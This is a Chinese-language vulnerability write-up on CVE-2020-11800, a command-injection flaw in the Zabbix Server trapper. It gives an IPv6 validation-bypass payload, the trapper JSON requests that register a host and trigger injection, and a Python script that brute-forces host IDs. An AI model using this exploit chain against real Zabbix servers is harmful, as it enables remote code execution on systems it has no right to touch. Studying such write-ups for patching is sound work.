RCE漏洞细节——CVE-2020-11800 zabbix 远程代码执行漏洞

╰半橙微兮° 2021-07-26 02:38 727阅读 0赞

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70]

--------------------

QQ 1274510382  
Wechat JNZ\_aming  
商业联盟 QQ群538250800  
技术搞事 QQ群599020441  
解决方案 QQ群152889761  
加入我们 QQ群649347320  
共享学习 QQ群674240731  
纪年科技aming  
网络安全 ,深度学习,嵌入式,机器强化,生物智能,生命科学。

叮叮叮：产品已上线 —>关注 官方-微信公众号——济南纪年信息科技有限公司  
民生项目：商城加盟/娱乐交友/创业商圈/外包兼职开发-项目发布/  
安全项目：态势感知防御系统/内网巡查系统  
云服项目：动态扩容云主机/域名/弹性存储-数据库-云盘/API-AIeverthing  
产品咨询/服务售后（同）

## 纸上得来终觉浅,绝知此事要躬行 ！！！   寻找志同道合伙伴创业中。。。抱团滴滴aming联系方式！! ##

--------------------

漏洞描述

Zabbix Server的trapper命令处理，  
存在命令注入漏洞，可导致远程代码执行。

--------------------

漏洞影响

远程代码执行  
CVSSv3 Score  
9.0 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H  
AC: HIGH  
需要服务端配置开启自动注册，或者Zabbix Proxy（会认证主机名）自动发现。

--------------------

影响版本  
Zabbix 3.0.x~3.0.30  
https://www.zabbix.com/cn/download?zabbix=3.0

--------------------

漏洞分析

该漏洞原理与CVE-2017-2824相同，参考  
https://talosintelligence.com/reports/TALOS-2017-0325

--------------------

active checks是自动注册的命令字，  
自动注册的本意是agent可主动将主机注册给server进行监控，  
在2.2.18版本中可以在IP中注入  
（参见上文的版本分析处，2.2.19版本才增加了ip校验）shell命令。

CVE-2017-2824提到的漏洞在discovery data命令字即自动发现功能中，  
由于没有校验IP，导致可在IP中写入shell命令，  
进而在执行script cmd时达到命令注入。  
比如在IP中写入内容

;touch /tmp/zabbix_pwned

那么执行ping命令时就变为

/bin/ping -c 3 ;touch /tmp/zabbix_pwned 2>&1

CVE-2017-2824在3.0.x的修复办法是，对IP进行校验，代码如下：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 1]  
![在这里插入图片描述][2021010909244210.png]

但是校验IP的方法可以被绕过，  
Ipv4校验没问题，ipv6校验可绕过:  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 2]

输入为ffff:::;touch /tmp/1234pwn即可绕过，进而实现命令注入。

--------------------

## 漏洞复现 ##

添加自动注册规则  
访问portal登录，  
依次点击菜单Configuration->Actions，将Event source调整为Auto registration

![在这里插入图片描述][20210109093335777.png]

点击Create action后，第一个页签随便写一个名字  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 3]

第二个页签设置条件  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 4]

可配置host name、proxy和host metadata包含或不包含某个关键字，  
为了复现方便这里留空。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 5]

第三个页签，指定操作，可以为发送消息、添加主机等，这里要选择Add host。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 6]

以上规则的意思就是任意自动注册的host，没有任何拒绝规则，都会直接添加到server中。

注册host

{ "request":"active checks","host":"helloworld","ip":"ffff:::;touch /tmp/1234pwn"}

执行以上trapper命令，利用自动注册添加host

### 暴破hostid ###

利用command命令字，暴破得到上一步添加的host的id

def doCmd(ip, cmd):
        s = remote(ip, 10051)
    
        #length = socket.htonl(len(cmd))
        length = len(cmd)
        payload = 'ZBXD' + '\x01' + p32(length) + p32(0) + cmd
    
        s.send(payload)
        rsp = s.recv(400)
        info = json.loads(rsp)['info']
        print info
        if info.startswith('Unknown Host ID'):
            s.close()
            return False
        s.close()
        return True
    def hostid_bruteforce():
        for ip in ipList:
            try:
                for i in range(10000, 20000):
                    cmd_fmt = '{"request":"command","scriptid":"3","hostid":"%d","nodeid":"0"}'
                    cmd = cmd_fmt%i
                    rsp = doCmd(ip, cmd)
                    try:
                        r = json.loads(rsp)['response']
                        if r == 'success':
                            print 'hostid = %d' % i
                    except Exception as e:
                        print e                    
            except Exception as e:
                print e

触发命令注入

{ "request":"command","scriptid":"1","hostid":"10106","nodeid":"0"}

执行ping命令，在server主机生成/tmp/1234pwn文件，注入成功。

修复建议  
正确限制IP

附录  
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11800  
https://support.zabbix.com/browse/ZBX-17600  
https://support.zabbix.com/browse/ZBXSEC-30

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70]: /images/20210725/64ec270eb1d5487294cc55cae71aa8e1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 1]: /images/20210725/a8032b0e6b354fd1873264556eea515f.png
[2021010909244210.png]: /images/20210725/913d90ef3d984b4494a5147be30bc795.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 2]: /images/20210725/43c98c59f93545b0974c2ad496c58bc7.png
[20210109093335777.png]: /images/20210725/78d490fe39be412482cd2e3717d62908.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 3]: /images/20210725/507dd0bd19c140989aa211d8629f33d2.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 4]: /images/20210725/69472cdd214f49368365382ac8911ba8.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 5]: /images/20210725/58a1546360cf44938bef7b1d19a85624.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 6]: /images/20210725/a869fdeda8964c7d8b2f27c3a28e2d70.png